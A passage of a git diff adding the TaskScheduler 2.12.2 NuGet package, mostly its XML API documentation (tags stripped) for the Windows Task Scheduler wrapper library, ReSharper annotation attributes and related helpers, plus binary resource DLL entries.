+ + + + Removes the trigger at a specified index. + Index of trigger to remove. + Index out of range. + + + Copies the elements of the to a new array. + An array containing copies of the elements of the . + + + Returns a that represents the triggers in this collection. + A that represents the triggers in this collection. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Releases all resources used by this class. + + + Represents a system account. + + + Initializes a new instance of the class. + + Name of the user. This can be in the format DOMAIN\username or username@domain.com or username or + null (for current user). + + + + Initializes a new instance of the class. + The . + + + Gets the current user. + The current user. + + + Gets the identity. + The identity. + + + Gets a value indicating whether this instance is in an administrator role. + true if this instance is an admin; otherwise, false. + + + Gets a value indicating whether this instance is the interactive user. + true if this instance is the current user; otherwise, false. + + + Gets a value indicating whether this instance is a service account. + true if this instance is a service account; otherwise, false. + + + Gets a value indicating whether this instance is the SYSTEM account. + true if this instance is the SYSTEM account; otherwise, false. + + + Gets the SID string. + The SID string. + + + Gets the NT name (DOMAIN\username). + The name of the user. + + + Create a instance from a SID string. + The SID string. + A instance. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + Options for a task, used for the Flags property of a Task. Uses the + "Flags" attribute, so these values are combined with |. + Some flags are documented as Windows 95 only, but they have a + user interface in Windows XP so that may not be true. + + + + + The interactive flag is set if the task is intended to be displayed to the user. + If the flag is not set, no user interface associated with the task is presented + to the user when the task is executed. + + + + + The task will be deleted when there are no more scheduled run times. + + + + + The task is disabled. This is useful to temporarily prevent a task from running + at the scheduled time(s). + + + + + The task begins only if the computer is not in use at the scheduled start time. Windows 95 only. + + + + + The task terminates if the computer makes an idle to non-idle transition while the task is running. + The computer is not considered idle until the IdleWait triggers' time elapses with no user input. + Windows 95 only. For information regarding idle triggers, see . + + + + + The task does not start if its target computer is running on battery power. Windows 95 only. + + + + + The task ends, and the associated application quits if the task's target computer switches + to battery power. Windows 95 only. + + + + + The task runs only if the system is docked. Windows 95 only. + + + + + The work item created will be hidden. + + + + + The task runs only if there is currently a valid Internet connection. + This feature is currently not implemented. + + + + + The task starts again if the computer makes a non-idle to idle transition before all the + task's task_triggers elapse. (Use this flag in conjunction with KillOnIdleEnd.) Windows 95 only. + + + + + The task runs only if the SYSTEM account is available. + + + + + The task runs only if the user specified in SetAccountInformation is logged on interactively. + This flag has no effect on work items set to run in the local account. + + + + + Status values returned for a task. Some values have been determined to occur although + they do no appear in the Task Scheduler system documentation. + + + + The task is ready to run at its next scheduled time. + + + The task is currently running. + + + One or more of the properties that are needed to run this task on a schedule have not been set. + + + The task has not yet run. + + + The task will not run at the scheduled times because it has been disabled. + + + There are no more runs scheduled for this task. + + + The last run of the task was terminated by the user. + + + Either the task has no triggers or the existing triggers are disabled or not set. + + + Event triggers don't have set run times. + + + Valid types of triggers + + + Trigger is set to run the task a single time. + + + Trigger is set to run the task on a daily interval. + + + Trigger is set to run the work item on specific days of a specific week of a specific month. + + + Trigger is set to run the task on a specific day(s) of the month. + + + Trigger is set to run the task on specific days, weeks, and months. + + + Trigger is set to run the task if the system remains idle for the amount of time specified by the idle wait time of the task. + + + Trigger is set to run the task at system startup. + + + Trigger is set to run the task when a user logs on. + + + + Represents a wildcard running on the + engine. + + + + + Initializes a wildcard with the given search pattern and options. + + The wildcard pattern to match. + A combination of one or more . + + + + Converts a wildcard to a regular expression. + + The wildcard pattern to convert. + A regular expression equivalent of the given wildcard. + + + + The GlobalLock function locks a global memory object and returns a pointer to the first byte of the object's memory block. + GlobalLock function increments the lock count by one. + Needed for the clipboard functions when getting the data from IDataObject + + + + + + + The GlobalUnlock function decrements the lock count associated with a memory object. + + + + + + + Defines the errors returned by the status member of the DS_NAME_RESULT_ITEM structure. These are potential errors that may be encountered while a name is converted by the DsCrackNames function. + + + + The conversion was successful. + + + Generic processing error occurred. + + + The name cannot be found or the caller does not have permission to access the name. + + + The input name is mapped to more than one output name or the desired format did not have a single, unique value for the object found. + + + The input name was found, but the associated output format cannot be found. This can occur if the object does not have all the required attributes. + + + Unable to resolve entire name, but was able to determine in which domain object resides. The caller is expected to retry the call at a domain controller for the specified domain. The entire name cannot be resolved, but the domain that the object resides in could be determined. The pDomain member of the DS_NAME_RESULT_ITEM contains valid data when this error is specified. + + + A syntactical mapping cannot be performed on the client without transmitting over the network. + + + The name is from an external trusted forest. + + + + Used to define how the name syntax will be cracked. These flags are used by the DsCrackNames function. + + + + Indicate that there are no associated flags. + + + Perform a syntactical mapping at the client without transferring over the network. The only syntactic mapping supported is from DS_FQDN_1779_NAME to DS_CANONICAL_NAME or DS_CANONICAL_NAME_EX. + + + Force a trip to the DC for evaluation, even if this could be locally cracked syntactically. + + + The call fails if the domain controller is not a global catalog server. + + + Enable cross forest trust referral. + + + + Provides formats to use for input and output names for the DsCrackNames function. + + + + Indicates the name is using an unknown name type. This format can impact performance because it forces the server to attempt to match all possible formats. Only use this value if the input format is unknown. + + + Indicates that the fully qualified distinguished name is used. For example: "CN = someone, OU = Users, DC = Engineering, DC = Fabrikam, DC = Com" + + + Indicates a Windows NT 4.0 account name. For example: "Engineering\someone" The domain-only version includes two trailing backslashes (\\). + + + Indicates a user-friendly display name, for example, Jeff Smith. The display name is not necessarily the same as relative distinguished name (RDN). + + + Indicates a GUID string that the IIDFromString function returns. For example: "{4fa050f0-f561-11cf-bdd9-00aa003a77b6}" + + + Indicates a complete canonical name. For example: "engineering.fabrikam.com/software/someone" The domain-only version includes a trailing forward slash (/). + + + Indicates that it is using the user principal name (UPN). For example: "someone@engineering.fabrikam.com" + + + This element is the same as DS_CANONICAL_NAME except that the rightmost forward slash (/) is replaced with a newline character (\n), even in a domain-only case. For example: "engineering.fabrikam.com/software\nsomeone" + + + Indicates it is using a generalized service principal name. For example: "www/www.fabrikam.com@fabrikam.com" + + + Indicates a Security Identifier (SID) for the object. This can be either the current SID or a SID from the object SID history. The SID string can use either the standard string representation of a SID, or one of the string constants defined in Sddl.h. For more information about converting a binary SID into a SID string, see SID Strings. The following is an example of a SID string: "S-1-5-21-397955417-626881126-188441444-501" + + + + Class that provides methods against a AD domain service. + + + + + + Initializes a new instance of the class. + + Name of the domain controller. + Name of the DNS domain. + + + + + Converts a directory service object name from any format to the UPN. + + The name to convert. + The corresponding UPN. + Unable to resolve user name. + + + + Converts an array of directory service object names from one format to another. Name conversion enables client applications to map between the multiple names used to identify various directory service objects. + + The names to convert. + Values used to determine how the name syntax will be cracked. + Format of the input names. + Desired format for the output names. + An array of DS_NAME_RESULT_ITEM structures. Each element of this array represents a single converted name. + + + + Impersonation of a user. Allows to execute code under another + user context. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + + + + Constructor. Starts the impersonation with the given credentials. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + The name of the user to act as. + The domain name of the user to act as. + The password of the user to act as. + + + + Indicates that the value of the marked element could be null sometimes, + so the check for null is necessary before its usage. + + + [CanBeNull] object Test() => null; + + void UseTest() { + var p = Test(); + var s = p.ToString(); // Warning: Possible 'System.NullReferenceException' + } + + + + + Indicates that the value of the marked element could never be null. + + + [NotNull] object Foo() { + return null; // Warning: Possible 'null' assignment + } + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can never be null. + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can be null. + + + + + Indicates that the marked method builds string by format pattern and (optional) arguments. + Parameter, which contains format string, should be given in constructor. The format string + should be in -like form. + + + [StringFormatMethod("message")] + void ShowError(string message, params object[] args) { /* do something */ } + + void Foo() { + ShowError("Failed: {0}"); // Warning: Non-existing argument in format string + } + + + + + Specifies which parameter of an annotated method should be treated as format-string + + + + + For a parameter that is expected to be one of the limited set of values. + Specify fields of which type should be used as values for this parameter. + + + + + Indicates that the function argument should be string literal and match one + of the parameters of the caller function. For example, ReSharper annotates + the parameter of . + + + void Foo(string param) { + if (param == null) + throw new ArgumentNullException("par"); // Warning: Cannot resolve symbol + } + + + + + Indicates that the method is contained in a type that implements + System.ComponentModel.INotifyPropertyChanged interface and this method + is used to notify that some property value changed. + + + The method should be non-static and conform to one of the supported signatures: + + NotifyChanged(string) + NotifyChanged(params string[]) + NotifyChanged{T}(Expression{Func{T}}) + NotifyChanged{T,U}(Expression{Func{T,U}}) + SetProperty{T}(ref T, T, string) + + + + public class Foo : INotifyPropertyChanged { + public event PropertyChangedEventHandler PropertyChanged; + + [NotifyPropertyChangedInvocator] + protected virtual void NotifyChanged(string propertyName) { ... } + + string _name; + + public string Name { + get { return _name; } + set { _name = value; NotifyChanged("LastName"); /* Warning */ } + } + } + + Examples of generated notifications: + + NotifyChanged("Property") + NotifyChanged(() => Property) + NotifyChanged((VM x) => x.Property) + SetProperty(ref myField, value, "Property") + + + + + + Describes dependency between method input and output. + + +

Function Definition Table syntax:

+ + FDT ::= FDTRow [;FDTRow]* + FDTRow ::= Input => Output | Output <= Input + Input ::= ParameterName: Value [, Input]* + Output ::= [ParameterName: Value]* {halt|stop|void|nothing|Value} + Value ::= true | false | null | notnull | canbenull + + If method has single input parameter, it's name could be omitted.
+ Using halt (or void/nothing, which is the same) for method output + means that the methos doesn't return normally (throws or terminates the process).
+ Value canbenull is only applicable for output parameters.
+ You can use multiple [ContractAnnotation] for each FDT row, or use single attribute + with rows separated by semicolon. There is no notion of order rows, all rows are checked + for applicability and applied per each program state tracked by R# analysis.
+
+ + + [ContractAnnotation("=> halt")] + public void TerminationMethod() + + + [ContractAnnotation("halt <= condition: false")] + public void Assert(bool condition, string text) // regular assertion method + + + [ContractAnnotation("s:null => true")] + public bool IsNullOrEmpty(string s) // string.IsNullOrEmpty() + + + // A method that returns null if the parameter is null, + // and not null if the parameter is not null + [ContractAnnotation("null => null; notnull => notnull")] + public object Transform(object data) + + + [ContractAnnotation("=> true, result: notnull; => false, result: null")] + public bool TryParse(string s, out Person result) + + +
+ + + Indicates that marked element should be localized or not. + + + [LocalizationRequiredAttribute(true)] + class Foo { + string str = "my string"; // Warning: Localizable string + } + + + + + Indicates that the value of the marked type (or its derivatives) + cannot be compared using '==' or '!=' operators and Equals() + should be used instead. However, using '==' or '!=' for comparison + with null is always permitted. + + + [CannotApplyEqualityOperator] + class NoEquality { } + + class UsesNoEquality { + void Test() { + var ca1 = new NoEquality(); + var ca2 = new NoEquality(); + if (ca1 != null) { // OK + bool condition = ca1 == ca2; // Warning + } + } + } + + + + + When applied to a target attribute, specifies a requirement for any type marked + with the target attribute to implement or inherit specific type or types. + + + [BaseTypeRequired(typeof(IComponent)] // Specify requirement + class ComponentAttribute : Attribute { } + + [Component] // ComponentAttribute requires implementing IComponent interface + class MyComponent : IComponent { } + + + + + Indicates that the marked symbol is used implicitly (e.g. via reflection, in external library), + so this symbol will not be marked as unused (as well as by other usage inspections). + + + + + Should be used on attributes and causes ReSharper to not mark symbols marked with such attributes + as unused (as well as by other usage inspections) + + + + Only entity marked with attribute considered used. + + + Indicates implicit assignment to a member. + + + + Indicates implicit instantiation of a type with fixed constructor signature. + That means any unused constructor parameters won't be reported as such. + + + + Indicates implicit instantiation of a type. + + + + Specify what is considered used implicitly when marked + with or . + + + + Members of entity marked with attribute are considered used. + + + Entity marked with attribute and all its members considered used. + + + + This attribute is intended to mark publicly available API + which should not be removed and so is treated as used. + + + + + Tells code analysis engine if the parameter is completely handled when the invoked method is on stack. + If the parameter is a delegate, indicates that delegate is executed while the method is executed. + If the parameter is an enumerable, indicates that it is enumerated while the method is executed. + + + + + Indicates that a method does not make any observable state changes. + The same as System.Diagnostics.Contracts.PureAttribute. + + + [Pure] int Multiply(int x, int y) => x * y; + + void M() { + Multiply(123, 42); // Waring: Return value of pure method is not used + } + + + + + Indicates that the return value of method invocation must be used. + + + + + Indicates the type member or parameter of some type, that should be used instead of all other ways + to get the value that type. This annotation is useful when you have some "context" value evaluated + and stored somewhere, meaning that all other ways to get this value must be consolidated with existing one. + + + class Foo { + [ProvidesContext] IBarService _barService = ...; + + void ProcessNode(INode node) { + DoSomething(node, node.GetGlobalServices().Bar); + // ^ Warning: use value of '_barService' field + } + } + + + + + Indicates that a parameter is a path to a file or a folder within a web project. + Path can be relative or absolute, starting from web root (~). + + + + + An extension method marked with this attribute is processed by ReSharper code completion + as a 'Source Template'. When extension method is completed over some expression, it's source code + is automatically expanded like a template at call site. + + + Template method body can contain valid source code and/or special comments starting with '$'. + Text inside these comments is added as source code when the template is applied. Template parameters + can be used either as additional method parameters or as identifiers wrapped in two '$' signs. + Use the attribute to specify macros for parameters. + + + In this example, the 'forEach' method is a source template available over all values + of enumerable types, producing ordinary C# 'foreach' statement and placing caret inside block: + + [SourceTemplate] + public static void forEach<T>(this IEnumerable<T> xs) { + foreach (var x in xs) { + //$ $END$ + } + } + + + + + + Allows specifying a macro for a parameter of a source template. + + + You can apply the attribute on the whole method or on any of its additional parameters. The macro expression + is defined in the property. When applied on a method, the target + template parameter is defined in the property. To apply the macro silently + for the parameter, set the property value = -1. + + + Applying the attribute on a source template method: + + [SourceTemplate, Macro(Target = "item", Expression = "suggestVariableName()")] + public static void forEach<T>(this IEnumerable<T> collection) { + foreach (var item in collection) { + //$ $END$ + } + } + + Applying the attribute on a template method parameter: + + [SourceTemplate] + public static void something(this Entity x, [Macro(Expression = "guid()", Editable = -1)] string newguid) { + /*$ var $x$Id = "$newguid$" + x.ToString(); + x.DoSomething($x$Id); */ + } + + + + + + Allows specifying a macro that will be executed for a source template + parameter when the template is expanded. + + + + + Allows specifying which occurrence of the target parameter becomes editable when the template is deployed. + + + If the target parameter is used several times in the template, only one occurrence becomes editable; + other occurrences are changed synchronously. To specify the zero-based index of the editable occurrence, + use values >= 0. To make the parameter non-editable when the template is expanded, use -1. + > + + + + Identifies the target parameter of a source template if the + is applied on a template method. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC action. If applied to a method, the MVC action name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC area. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is + an MVC controller. If applied to a method, the MVC controller name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC Master. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC model type. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is an MVC + partial view. If applied to a method, the MVC partial view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.RenderPartialExtensions.RenderPartial(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Allows disabling inspections for MVC views within a class or a method. + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC display template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.DisplayExtensions.DisplayForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC editor template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.EditorExtensions.EditorForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC template. + Use this attribute for custom wrappers similar to + System.ComponentModel.DataAnnotations.UIHintAttribute(System.String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component. If applied to a method, the MVC view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Controller.View(Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component name. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component view. If applied to a method, the MVC view component view name is default. + + + + + ASP.NET MVC attribute. When applied to a parameter of an attribute, + indicates that this parameter is an MVC action name. + + + [ActionName("Foo")] + public ActionResult Login(string returnUrl) { + ViewBag.ReturnUrl = Url.Action("Foo"); // OK + return RedirectToAction("Bar"); // Error: Cannot resolve action + } + + + + + Razor attribute. Indicates that a parameter or a method is a Razor section. + Use this attribute for custom wrappers similar to + System.Web.WebPages.WebPageBase.RenderSection(String). + + + + + Indicates how method, constructor invocation or property access + over collection type affects content of the collection. + + + + Method does not use or modify content of the collection. + + + Method only reads content of the collection but does not modify it. + + + Method can change content of the collection but does not add new elements. + + + Method can add new elements to the collection. + + + + Indicates that the marked method is assertion method, i.e. it halts control flow if + one of the conditions is satisfied. To set the condition, mark one of the parameters with + attribute. + + + + + Indicates the condition parameter of the assertion method. The method itself should be + marked by attribute. The mandatory argument of + the attribute is the assertion type. + + + + + Specifies assertion type. If the assertion method argument satisfies the condition, + then the execution continues. Otherwise, execution is assumed to be halted. + + + + Marked parameter should be evaluated to true. + + + Marked parameter should be evaluated to false. + + + Marked parameter should be evaluated to null value. + + + Marked parameter should be evaluated to not null value. + + + + Indicates that the marked method unconditionally terminates control flow execution. + For example, it could unconditionally throw exception. + + + + + Indicates that method is pure LINQ method, with postponed enumeration (like Enumerable.Select, + .Where). This annotation allows inference of [InstantHandle] annotation for parameters + of delegate type by analyzing LINQ method chains. + + + + + Indicates that IEnumerable, passed as parameter, is not enumerated. + + + + + Indicates that parameter is regular expression pattern. + + + + + Prevents the Member Reordering feature from tossing members of the marked class. + + + The attribute must be mentioned in your member reordering patterns + + + + + XAML attribute. Indicates the type that has ItemsSource property and should be treated + as ItemsControl-derived type, to enable inner items DataContext type resolve. + + + + + XAML attribute. Indicates the property of some BindingBase-derived type, that + is used to bind some item of ItemsControl-derived type. This annotation will + enable the DataContext type resolve for XAML bindings for such properties. + + + Property should have the tree ancestor of the ItemsControl type or + marked with the attribute. + + + + Extensions for classes in the System.Security.AccessControl namespace. + + + Canonicalizes the specified Access Control List. + The Access Control List. + + + Sort ACEs according to canonical form for this . + The object security whose DiscretionaryAcl will be made canonical. + + + Returns an array of byte values that represents the information contained in this object. + The object. + The byte array into which the contents of the is marshaled. + + + + Converts the string representation of the name or numeric value of one or more enumerated constants to an equivalent enumerated object or returns the value of . If is undefined, it returns the first declared item in the enumerated type. + + The enumeration type to which to convert . + The string representation of the enumeration name or underlying value to convert. + true to ignore case; false to consider case. + The default value. + An object of type whose value is represented by value. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + Output type for the CLI array. must be able to convert to . + The pointing to the native array. + The number of items in the native array. + An array of type containing the converted elements of the native array. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + The pointing to the native array. + The number of items in the native array. + An array of type containing the elements of the native array. + + + Extensions related to System.Reflection + + + Loads a type from a named assembly. + Name of the type. + The name or path of the file that contains the manifest of the assembly. + The reference, or null if type or assembly not found. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly reference name from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. This method assumes the type has a default public constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. + The arguments to supply to the constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on an object with parameters and no return value. + The object on which to invoke the method. + Name of the method. + The arguments to provide to the method invocation. + + + Invokes a named method on an object with parameters and no return value. + The expected type of the method's return value. + The object on which to invoke the method. + Name of the method. + The types of the . + The arguments to provide to the method invocation. + The value returned from the method. + + + Gets a named property value from an object. + The expected type of the property to be returned. + The object from which to retrieve the property. + Name of the property. + The default value to return in the instance that the property is not found. + The property value, if found, or the if not. + + + Sets a named property on an object. + The type of the property to be set. + The object on which to set the property. + Name of the property. + The property value to set on the object. + +
+
diff --git a/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/de/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/de/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..89cecf2 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/de/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/es/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/es/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..0a3074c Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/es/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/fr/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/fr/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..fea8cbf Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/fr/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/it/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/it/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..378ee84 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/it/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/ja/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/ja/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..206a5b7 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/ja/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/pl/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/pl/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..13adc83 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/pl/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/ru/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/ru/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..753b93c Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/ru/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/sv/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/sv/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..ce6a4ed Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/sv/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/tr/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/tr/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..8e53594 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/tr/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..0373007 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..ffb7343 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/Microsoft.Win32.TaskScheduler.dll b/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/Microsoft.Win32.TaskScheduler.dll new file mode 100644 index 0000000..724ad89 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/Microsoft.Win32.TaskScheduler.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/Microsoft.Win32.TaskScheduler.xml b/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/Microsoft.Win32.TaskScheduler.xml new file mode 100644 index 0000000..741ff76 --- /dev/null +++ b/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/Microsoft.Win32.TaskScheduler.xml @@ -0,0 +1,7855 @@ + + + + Microsoft.Win32.TaskScheduler + + + + Defines the type of actions a task can perform. + The action type is defined when the action is created and cannot be changed later. See . + + + + This action performs a command-line operation. For example, the action can run a script, launch an executable, or, if the name + of a document is provided, find its associated application and launch the application with the document. + + + + This action fires a handler. + + + This action sends and e-mail. + + + This action shows a message box. + + + An interface that exposes the ability to convert an actions functionality to a PowerShell script. + + + + Abstract base class that provides the common properties that are inherited by all action objects. An action object is created by the + method. + + + + List of unbound values when working with Actions not associated with a registered task. + + + Occurs when a property value changes. + + + Gets the type of the action. + The type of the action. + + + Gets or sets the identifier of the action. + + + Creates the specified action. + Type of the action to instantiate. + of specified type. + + + Creates a new object that is a copy of the current instance. + A new object that is a copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Returns the action Id. + String representation of action. + + + Returns a that represents this action. + The culture. + String representation of action. + + + Creates a specialized class from a defined interface. + Version 1.0 interface. + Specialized action class + + + Creates a specialized class from a defined interface. + Version 2.0 Action interface. + Specialized action class + + + Copies the properties from another the current instance. + The source . + + + + Represents an action that fires a handler. Only available on Task Scheduler 2.0. Only available for Task Scheduler 2.0 on + Windows Vista or Windows Server 2003 and later. + + + This action is the most complex. It allows the task to execute and In-Proc COM server object that implements the ITaskHandler + interface. There is a sample project that shows how to do this in the Downloads section. + + + + + + + + + Creates an unbound instance of . + + + Creates an unbound instance of . + Identifier of the handler class. + Addition data associated with the handler. + + + Gets or sets the identifier of the handler class. + + + Gets the name of the object referred to by . + + + Gets or sets additional data that is associated with the handler. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Gets the name for CLSID. + The unique identifier. + + + + + Represents an action that sends an e-mail. Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and + later.This action has been deprecated in Windows 8 and later. However, this library is able to mimic its + functionality using PowerShell if the property is set to . To disable this conversion, set the value to . + + The EmailAction allows for an email to be sent when the task is triggered. + + + + + + + + Creates an unbound instance of . + + + Creates an unbound instance of . + Subject of the e-mail. + E-mail address that you want to send the e-mail from. + E-mail address or addresses that you want to send the e-mail to. + Body of the e-mail that contains the e-mail message. + Name of the server that you use to send e-mail from. + + + + Gets or sets an array of file paths to be sent as attachments with the e-mail. Each item must be a value + containing a path to file. + + + + Gets or sets the e-mail address or addresses that you want to Bcc in the e-mail. + + + Gets or sets the body of the e-mail that contains the e-mail message. + + + Gets or sets the e-mail address or addresses that you want to Cc in the e-mail. + + + Gets or sets the e-mail address that you want to send the e-mail from. + + + Gets or sets the header information in the e-mail message to send. + + + Gets or sets the priority of the e-mail message. + A that contains the priority of this message. + + + Gets or sets the e-mail address that you want to reply to. + + + Gets or sets the name of the server that you use to send e-mail from. + + + Gets or sets the subject of the e-mail. + + + Gets or sets the e-mail address or addresses that you want to send the e-mail to. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Represents an action that executes a command-line operation. + + All versions of the base library support the ExecAction. It only has three properties that allow it to run an executable with parameters. + + + + + + + 